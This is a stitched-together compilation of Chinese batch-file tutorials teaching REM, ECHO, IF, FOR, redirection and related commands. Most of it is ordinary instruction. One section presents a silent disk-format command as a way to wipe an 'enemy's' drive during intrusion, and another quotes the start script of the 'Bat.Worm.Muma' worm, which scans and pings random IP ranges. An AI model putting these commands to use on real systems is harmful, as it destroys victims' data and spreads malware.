【最全最详细】批处理经典入门教程
批处理详细教程
这样的为bat命令格式和说明这样的为系统cmd命令行的说明这样的为例子这样的为注意事项目录第一部分:批处理的专用命令 (2)1、 REM(注释) (2)2、 ECHO(回显命令) (3)3、 GOTO(跳转) (3)4、CALL(调用另一个批处理) (3)5、PAUSE(停止) (4)6、 IF(判断) (4)1、 IF [NOT] ERRORLEVEL number command (5)2、 IF string1==string2 command (6)3、 IF [NOT] EXIST filename command (6)7、 FOR(循环) (7)1 /d 仅为目录 (7)2 /R 递归 (8)3 /L 迭代数值范围 (9)4 /f 默认以每一行来作为一个元素 (10)delims 用来告诉for每一行应该拿什么作为分隔符,默认的分隔符是空格和tab键 (12)tokens 当你通过delims将每一行分为更小的元素时,由它来控制要取哪一个或哪几个 (12)skip就是要忽略文件的前多少行 (14)eol用来指定当一行以什么符号开始时,就忽略它。
(14)8、 SETLOCAL(ENDLOCAL )(标记影响范围) (14)9、 SHIFT更改批处理文件中可替换参数的位置 (15)第二部分:特殊的符号与批处理 (16)1、符号(@)关闭当前行的回显 (16)2、符号(>)传递并覆盖 (16)3、符号(>>)传递并追加 (17)4、符号(|)将上一命令执行的结果传递给下一命令去处理 (18)5、符号(^)去掉><&的特殊功能 (19)6、符号(&)允许在一行中使用2个以上不同的命令(出错可以继续) (19)7、符号(&&)允许在一行中使用2个以上不同的命令(出错则停止) (19)8、符号(" ")允许在字符串中包含空格 (19)9、符号(,)相当于空格 (20)10、符号(;)当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。
批处理教程
第一部分:批处理的专用命令1、REMREM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行.2、ECHOECHO 是一个回显命令主要参数有OFF和ON,一般用ECHO message来显示一个特定的消息。
3、GOTOGOTO 即为跳转的意思。
在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。
4、CALLCALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。
5、PAUSEPAUSE 停止系统命令的执行并显示下面的内容。
例:C:\> PAUSE请按任意键继续. . .6、IFIF 条件判断语句,语法格式如下:IF [NOT] ERRORLEVEL number commandIF [NOT] string1==string2 commandIF [NOT] EXIST filename command说明:[NOT] 将返回的结果取反值即“如果没有”的意思。
ERRORLEVEL 是命令执行完成后返回的退出值Number 退出值的数字取值范围0~255。
判断时值的排列顺序应该又大到小。
返回的值大于或等于指定的值时条件成立。
string1==string2 string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的commandEXIST filename 为文件或目录存在的意思。
IF ERRORLEVEL这条语句必须放在某一个命令后面。
执行命令后由IF ERRORLEVEL来判断命令的返回值。
例:1、IF [NOT] ERRORLEVEL number command检测命令执行完后的返回值做出判断。
echo offdir z:rem 如果退出代码为1(不成功)就跳至标题1处执行IF ERRORLEVEL 1 goto 1rem 如果退出代码为0(成功)就跳至标题0处执行IF ERRORLEVEL 0 goto 0:0echo 命令执行成功!Rem 程序执行完毕跳至标题exit处退出goto exit:1echo 命令执行失败!Rem 程序执行完毕跳至标题exit处退出goto exit:exitRem 这里是程序的出口2、IF string1==string2 command检测当前变量的值做出判断ECHO OFFIF %1==2 goto noEcho 变量相等!Goto exit:noecho 变量不相等goto exit:exit大家可以这样看效果C:\>test.bat 数字3、IF [NOT] EXIST filename command发现特定的文件做出判断echo offIF not EXIST autoexec.bat goto 1echo 文件存在成功!goto exit:1echo 文件不存在失败!goto exit这个批处理大家可以放在c盘和d盘分别执行看看效果。
批处理入门教程
批处理基本入门(以及一些dos常用命令)本文档中的文件未写明路径的情况下,均为和bat文件所在的当前路径下。
1.echo命令和@echo一般用于打印信息,也可以讲内容输出到文件中,文件不存在则自动创建,例如echo messageTXT > test.txt。
@不现实当前语句本身,例如@echo message注意:@echo off不但关闭以后命令的回显,连echo off命令本身也不显示通常有输出内容的命令后面加> nul,就会屏蔽显示的信息。
2.rem命令和: :都是表示注释的意思。
3.pause命令暂停运行,运行显示:请按任意键继续. . .4.errorlevel命令程序返回码echo %errorlevel%。
每个命令运行结束,可以用这个命令行格式查看返回码。
用于判断刚才的命令是否执行成功,默认值为0,一般命令执行出错会设errorlevel =15.title命令设置当前窗口的标题title newTitle6.color命令设置当前窗口颜色和字体颜色color 70 第一个为背景色16进制数,第二个为前景色。
取值范围:0~F。
如果没有给定任何参数,该命令会将颜色还原到CMD.EXE 启动时的颜色7.goto命令这是个跳转命令,在批处理中允许以“:XXX”来构建一个标号,然后用GOTO XXX跳转到标号:XXX处,然后执行标号后的命令。
8.find命令搜索文件中的字符串。
基本格式:find [/i] [/n] 文件路径。
例如:find -i –n “fanfan” fanfan.txt 忽略大小写搜索fanfan.txt文件中fanfan这个字符串,并显示所在的行号。
9.type命令打印显示(查看)一个文本文件类型的文件到控制台。
例如:type fanfan.txt扩展:可以配合find命令一起使用,例如type fanfan.txt | find -i -n “fanfan”10.start命令批处理中异步调用外部程序的命令,即异步执行,不需要得到外部程序运行完毕后才能进行本程序的向下执行。
【最全最详细】批处理经典入门教程
批处理经典入门教程!(从不懂到高手)例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):代码如下:ping > a.txtping >> a.txtping >> a.txtping >> a.txtping >> a.txtping >> a.txtping >> a.txtping >> a.txtexit是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。
这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt 文件越来越大(想到如何搞破坏了??)。
By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。
例二、再给出一个已经过时的例子(a.bat):@echo offif exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gifa.bat为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。
但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。
这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。
批处理新手入门
【扫盲】批处理新手入门导读第1节:批处理命令行简介命令行就是在Windows操作系统中打开DOS窗口,以字符串的形式执行Windows管理程序。
在这里,先解释什么是DOS?DOS――Disk Operation System 磁盘操作系统目前我们常用的操作系统有windows 9x/Me,NT,2000等,都是可视化的界面。
在这些系统之前的人们使用的操作系统是DOS系统。
DOS系统目前已经没有什么人使用了,但是dos命令却依然存在于我们使用的windows系统之中。
大部分的DOS命令都已经在Windows里变成了可视化的界面,但是有一些高级的DOS命令还是要在DOS环境下来执行。
所以学习命令行对于我们熟练操作Windows系统是很有必要的。
不同的操作系统要用不同的命令进入命令行界面。
在Win9x/Me的开始菜单中的运行程序中键入"command"命令,可进入命令行界面。
在Win2000/NT的开始菜单中的运行程序中键入"cmd"命令,可进入命令行界面。
下面我用讲到的DOS命令都可以在Windows xp操作系统中执行。
那么,我们如何进入命令行窗口?开始――> 运行――> 键入"cmd",回车即可!第2节:批处理是什么?能干什么?批处理文件是指文件后缀名为“.bat”的文件,它的作用是可以一次批量执行大量的命令。
这种文件在dos时期曾被大量使用,win9x时期也有,但已经开始少用了,最典型的是autoexec.bat这个文件了。
1.什么是批处理文件?批处理文件的作用是什么?批处理文件(Batch File,简称BAT文件)是一种在DOS 下最常用的可执行文件。
它具有灵活的操纵性,可适应各种复杂的计算机操作。
所谓的批处理,就是按规定的顺序自动执行若干个指定的DOS命令或程序。
即是把原来一个一个执行的命令汇总起来,成批的执行,而程序文件可以移植到其它电脑中运行,因此可以大大节省命令反复输入的繁琐。
批处理入门手册
批处理入门手册.txt心是自己的,干嘛总被别人伤......没有伞的孩子必须努力奔跑▓敷衍旳青春总昰想太多怨,只怨现实太现实╰⌒﹏为什么在一起要两个人的同意丶而分手只需要一个人*《批处理入门手册》*转自百度,仅为分享。
一. 批处理常用DOS命令篇----------------------------------------------------------------------------------------------------------------------1.1 学习 echo rem cd dir 命令学习要点:1,显示信息:echo2,注释语句:rem3,目录切换:cd4,列文件名:dir----------------------------------------------------------------------------------------------------------------------*/_一,显示信息:_/**/_echo_/**/__/*在学习echo命令前我们先在C盘下建一个新文件夹bat,并建一个空的bat文件。
例如我是的mybat.bat。
好了,下面我们开始《批处理入门手册》的第一章1.1节。
1。
输出提示信息格式:echo 你要输出的信息我们来编辑mybat.bat,内容如下:例1,echo hello,worldecho i will come backpause执行显示:C:\bat>echo hello,worldhello,worldC:\bat>echo i will come backi will come backC:\bat>pause请按任意键继续. . .我们写的批处理,能不能不让它显示我们到底写了什么命令?OK!那我们就来学习echo的第二个命令!2。
关闭该命令的回显格式:@ 放在命令前面例2,@echo hello,world@echo i will come backpause执行显示:hello,worldi will come backC:\bat>pause请按任意键继续. . .如果有多条命令的话,要是每一条都加上一个@的话,那有多累呀!!能不能来个全部的?好,我们来看下面的!3。
经典高级批处理完整教程
经典高级批处理完整教程一.简单批处理内部命令简介1.Echo 命令打开回显或关闭请求回显功能,或显示消息。
如果没有任何参数,echo 命令将显示当前回显设置。
语法echo [{on|off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。
)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。
)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。
)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。
最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
批处理从入门到精通
第一部分:批处理的专用命令批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。
1、 REMREM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。
例:REM 你现在看到的就是注解,这一句将不会被执行。
在以后的例子中解释的内容都REM 会放在REM后面。
请大家注意。
2、 ECHOECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息。
例:Echo offRem 以上代表关闭回显即不显示所执行的命令Echo 这个就是消息。
Rem 以上代表显示“这就是消息”这列字符执行结果:C:\>ECHO.BAT这个就是消息。
3、 GOTOGOTO 即为跳转的意思。
在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。
例:LABELREM 上面就是名为LABEL的标号。
DIR C:\DIR D:\GOTO LABELREM 以上程序跳转标号LABEL处继续执行。
4、CALLCALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。
例:批处理2.BAT内容如下:ECHO 这就是2的内容批处理1.BAT内容如下:ECHO 这是1的内容CALL 2.BATECHO 1和2的内容全部显示完成执行结果如下:C:\>1.BAT这是1的内容这就是2的内容1和2的内容全部显示完成5、PAUSEPAUSE 停止系统命令的执行并显示下面的内容。
例:C:\> PAUSE请按任意键继续 . . .6、 IFIF 条件判断语句,语法格式如下:IF [NOT] ERRORLEVEL number commandIF [NOT] string1==string2 commandIF [NOT] EXIST filename command说明:[NOT] 将返回的结果取反值即“如果没有”的意思。
批处理教程(最全版)
十分经典的批处理教程这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。
写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。
.先概述一下批处理是个什么东东。
批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个"比较合适的",而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。
或许你会因为这篇文章而"无条件爱上批处理",那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to business(闲话少说言归正传)。
批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。
批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。
所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。
批处理bat详细教程_完整版
这个教程也是我迄今为止见过的写得最好的BAT教程,为什么我这么讲:1.这个教程非常全面2.教程大量采用实例讲解,简单易懂3.作者很有心,在教程中间插入了许多有趣的东西,让大家学习过程当中不在感到枯燥[不过在这里为了方便大家收录,我给去掉了,SORRY啊]4.教程写得很细。
5.由于教程非常全面,完成可以把它当作你学习的参考资料,在遇到问题的时候在这里一般都可以找到解决的方法。
在学习之前请作好心理准备,因为教程很长,不过大家也不要着急,一口是吃不成胖子的,慢慢来!第一章批处理基础第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BA T或者CMD。
这些命令统称批处理命令。
小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BA T!"pause把上面的3条命令保存为文件test.bat或者test.cmd然后执行,他就会在屏幕上显示以下二行话:欢迎来到非常BAT!请按任意键继续. . .这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo" 和"pause" 还有一个特殊符号"@"从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)======================================================批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟17、ATTRIB 显示或更改文件属性介绍命令1、REM 和::REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。
批处理完整教程.
C:>ECHO Y|DEL A :*.*
7)建立新文件或增加文件内容
格式:ECHO文件内容>文件名
ECHO文件内容>>文件名
例如:
C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自动批处理文件
C:>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自动批处理文件中追加内容
如果没有给定任何参数,该命令会将颜色还原到CMD.EXE启动时
的颜色。这个值来自当前控制台窗口、/T开关或
DefaultColor注册表值。
如果用相同的前景和背景颜色来执行COLOR命令,COLOR命令
会将ERRORLEVEL设置为1。
例如: "COLOR fc"在亮白色上产生亮红色
7、mode配置系统设备
5)输出空行,即相当于输入一个回车
格式:ECHO.
值得注意的是命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。另外“.”可以用,:;”/[\]+等任一符号替代。
命令ECHO.输出的回车,经DOS管道转向可以作为其它命令的输入,比如echo.|time即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态
@echo off
echo "欢迎来到非常BAT!"
pause
把上面的3条命令保存为文件test.bat或者test.cmd然后执行,
他就会在屏幕上显示以下二行话:
欢迎来到非常BAT!
请按任意键继续. . .
这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo"和"pause"还有一个特殊符号"@"
批处理经典入门教程!_从不懂到高手_第3-5页
批处理经典入门教程!(从不懂到高手)第3/5页二:START.BAT:CALL MUMA.BATSET IPA=192.168CALL 10.BAT 0:NEARAGAINnetstat -n|find ":" >A.TMPFOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SETNUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT:STARTCALL RANDOM.BATIF "%NUM1%"=="255" GOTO NEARAGAINIF "%NUM1%"=="192" GOTO NEARAGAINIF "%NUM1%"=="127" GOTO NEARAGAINIF "%NUM2%"=="255" GOTO NEARAGAINIF "%NUM3%"=="255" GOTO NEARAGAINIF "%NUM4%"=="255" GOTO NEARAGAINSET IPA=%NUM1%.%NUM2%ECHO START > A.LOGPING %IPA%.%NUM3%.1>B.TMPPING %IPA%.%NUM3%.%NUM4%>>B.TMPFIND /C /I "from" B.TMPIF ERRORLEVEL 1 GOTO STARTCALL 10.BAT %NUM3%DEL A.LOGGOTO START这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。
批处理经典入门教程
批处理经典入门教程这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。
写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。
.先概述一下批处理是个什么东东。
批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。
或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to business(闲话少说言归正传)。
批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。
批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。
所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。
批处理入门级教程
set XX=XXXX
• 该命令用于设置变量。 例如: set aa=abcd echo %aa% pause 运行这段命令就会显示“abcd”。 特别注意:调用此段命令时echo后面的aa要加上百分号%
图片实例
记事本中 BAT运行时
set XX=
• 该命令用于删除变量。 例如:set aa= BAT中含有此语句时,运行到这里时删除掉aa的变量
批处理入门级教程
作者:@MC-WOW
什么是批处理?
批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对 象进行批量的处理,通常被认为是一种简化的脚本语言,它应用于 DOS和Windows系统中。批处理文件的扩展名为“.bat ” 。 P.S.以下幻灯片内容用BAT来代表批处理
BAT有哪些命令?(汇总)
图片实例
记事本中 BAT运行时
附:BAT的保存
使用记事本,输入完你想要的指令后,按左上角的“文件”,点击 “另存为”,在“保存类型”中选择“所有文件(*.*)”,然后在“文件名” 处填写你想要的文件名,要以“.bat”结尾,否则就不是BAT了!
我们的教程到此结束,
谢谢观看
@MC-WOW 版权所有 未经允许,不得私自转载
图片实例
含有@echo off的BAT 不含有@echo off的BAT
echo ......
• 此命令用于显示消息 例如:“echo 批处理命令” BAT中含有该语句时,运行到此处会显示 “批处理命令”
图片实例
2
pause命令
pause
• 这个命令很简单,只有暂停的作用。 例如:pause 当BAT运行到此处时,会停止(暂停)运行,并显示以下内容: 中文:请按任意键继续. . . 英文:Press any key to continue. . .
批处理教程
批处理教程一.批处理介绍批处理文件是无格式的文本文件,它包含一条或多条命令。
它的文件扩展名为.bat 或.cmd。
在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。
使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。
二.批处理命令基础篇1.@命令@后的命令在执行时不显现出来。
例:@ECHO HELLO2.ECHO命令(1).与OFF结合(ECHO OFF)以后的命令在执行时都不显示出来,知道遇到ECHOON(2).输出指定内容(若内容为字符串不需要加引号)。
例:@ECHO HELLO(3)ECHO.输出换行(4).输入内容到指定文件。
例:@ECHO HELLO >>1.TXT3.GOTO跳转命令功能:跳转到指定标签例::LABEL@ECHO HELLOGOTO LABEL注:上面为一个死循环,LABEL为标签名,前面需加:,如果没有程序调用LABEL,执行到LABEL时其包含代码仍然会执行4.CALL命令(1).从一个批出理程序调用另一个批处理程序,并且不中断自身的执行例:新建一个批处理:1.BA T@ECHO OFFECHO THIS IS 1.BA T!!!新建一个批处理SAMPLE.BA T@ECHO OFFCALL 1.BA TECHO OVER!!!PAUSE执行SAMPLE.BA T查看效果(2).如果调用的批处理中有标签,可以在CALL的参数中加上标签例:批处理:1.BA T@ECHO OFFECHO THIS IS 1.BA T!!!:LABELECHO THIS IS LABEL!批处理:SAMPLE.BA T@ECHO OFFCALL 1.BA T :LABELECHO OVER!!!PAUSE5.REM命令功能:注释例:@REM 这是一个注释6.PAUSE命令功能:暂停,此时屏幕上提示用户“按任意键继续……”7.START命令功能:调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用(外部程序在新窗口打开,批处理继续往下执行)常用参数:MIN、MAX 开始时窗口最小化,最大化SEPARA TE 在分开的空间内开始16 位Windows 程序SHARED 在分共享的空间内开始 16 位Windows 程序LOW 在 IDLE 优先级类别开始应用程序NORMAL 在 NORMAL 优先级类别开始应用程序HIGH 在HIGH 优先级类别开始应用程序REALTIME 在REALTIME 优先级类别开始应用程序W AIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数例:打开D盘的DOUCUMENT文件夹,并让其窗口最小化START /MIN D:\document或者START /MIN EXPLORER D:\document8.IF命令(1)、if “参数” == “字符串” 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
批处理详细教程
批处理详细教程命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:1、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
(注意是两个等号)如if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparms2、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys3、if errorlevel / if not errorlevel 数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用FOR 命令时,指定变量请使用%%variablefor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。
可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用FOR 命令时,指定变量请使用%%variable而不要用%variable。
变量名称是区分大小写的,所以%i 不同于%I如果命令扩展名被启用,下列额外的FOR 命令格式会受到支持:FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
批处理bat详细教程 完整版
这个教程也是我迄今为止见过的写得最好的BAT教程,为什么我这么讲:1.这个教程非常全面2.教程大量采用实例讲解,简单易懂3.作者很有心,在教程中间插入了许多有趣的东西,让大家学习过程当中不在感到枯燥[不过在这里为了方便大家收录,我给去掉了,SORRY啊]4.教程写得很细。
5.由于教程非常全面,完成可以把它当作你学习的参考资料,在遇到问题的时候在这里一般都可以找到解决的方法。
在学习之前请作好心理准备,因为教程很长,不过大家也不要着急,一口是吃不成胖子的,慢慢来!第一章批处理基础第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BA T或者CMD。
这些命令统称批处理命令。
小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BA T!"pause把上面的3条命令保存为文件test.bat或者test.cmd然后执行,他就会在屏幕上显示以下二行话:欢迎来到非常BAT!请按任意键继续. . .这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo" 和"pause" 还有一个特殊符号"@"从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)======================================================批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟17、ATTRIB 显示或更改文件属性介绍命令1、REM 和::REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。
bat批处理完整教程
第一章批处理基本第一节经常应用批处理内部敕令简介批处理界说:顾名思义,批处理文件是将一系列敕令按必定的次序聚集为一个可履行的文本文件,其扩大名为BAT或者CMD.这些敕令统称批处理敕令.小常识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的履行进程.懂得了精确意思后,我们正式开端进修.先看一个简略的例子!@echo offecho "迎接来到异常BAT!"pause把上面的3条敕令保管为文件test.bat或者test.cmd然后履行,他就会在屏幕上显示以下二行话:迎接来到异常BAT!请按随意率性键持续. . .这就是一个简略批处理文件了,这个批处理文件一共就用了2条敕令 "echo" 和"pause" 还有一个特别符号"@"从上面这个简略的批处理中,我们可以发明其实批处理就是应用一些含有特别意义的符号和一些完成指定功效的敕令组合而成,那么在批处理中有若干如许的特别符号和功效敕令呢?我们如今就来细心懂得一下一些最经常应用的!(以下内容起源收集,请列位细心浏览,好进入下节的实例解释)======================================================批处理的罕有敕令(未列举的敕令还比较多,请查阅帮忙信息)1.REM 和 ::2.ECHO 和 @3.PAUSE4.ERRORLEVEL5.TITLE6.COLOR7.mode 设置装备摆设体系装备8.GOTO 和 :9.FIND10.START11.assoc 和 ftype12.pushd 和 popd13.CALL14.shift15.IF16.setlocal 与变量延迟17.ATTRIB 显示或更改文件属性介绍敕令1.REM 和 ::REM为注释敕令,一般用来给程序加上注解,该敕令后的内容不被履行,但能回显.其次, :: 也可以起到rem 的注释感化, 并且更简练有效; 但有两点须要留意:第一, 任何故冒号:开首的字符行, 在批处理中都被视作标号, 而直接疏忽厥后的所有内容.有效标号:冒号后紧跟一个以字母数字开首的字符串,goto语句可以辨认.无效标号:冒号后紧跟一个非字母数字的一个特别符号,goto无法识此外标号,可以起到注释感化,所以 :: 常被用作注释符号,其实 :+ 也可起注释感化.第二, 与rem 不合的是, ::后的字符行在履行时不会回显, 无论是否用echo on打开敕令行回显状况, 因为敕令解释器不认为他是一个有效的敕令行, 就此点来看, rem 在某些场合下将比 :: 更为实用; 别的, rem 可以用于config.sys 文件中.行内注释格局:%注释内容% (不经常应用,慎用)2.ECHO 和 @@字符放在敕令前将封闭该敕令回显,无论此时echo是否为打开状况.echo敕令的感化列举如下:(1)打开回显或封闭回显功效格局:echo [{ on|off }]假如想封闭“ECHO OFF”敕令行自身的显示,则须要在该敕令行前加上“@”.(2)显示当前ECHO设置状况格局:echo(3)输出提醒信息格局:ECHO 信息内容上述是ECHO敕令罕有的三种用法,也是大家熟习和会用的,但作为DOS 敕令淘金者你还应当知道下面的技能:(4)封闭DOS敕令提醒符在DOS提醒符状况下键入ECHO OFF,可以或许封闭DOS提醒符的显示使屏幕只留下光标,直至键入ECHO 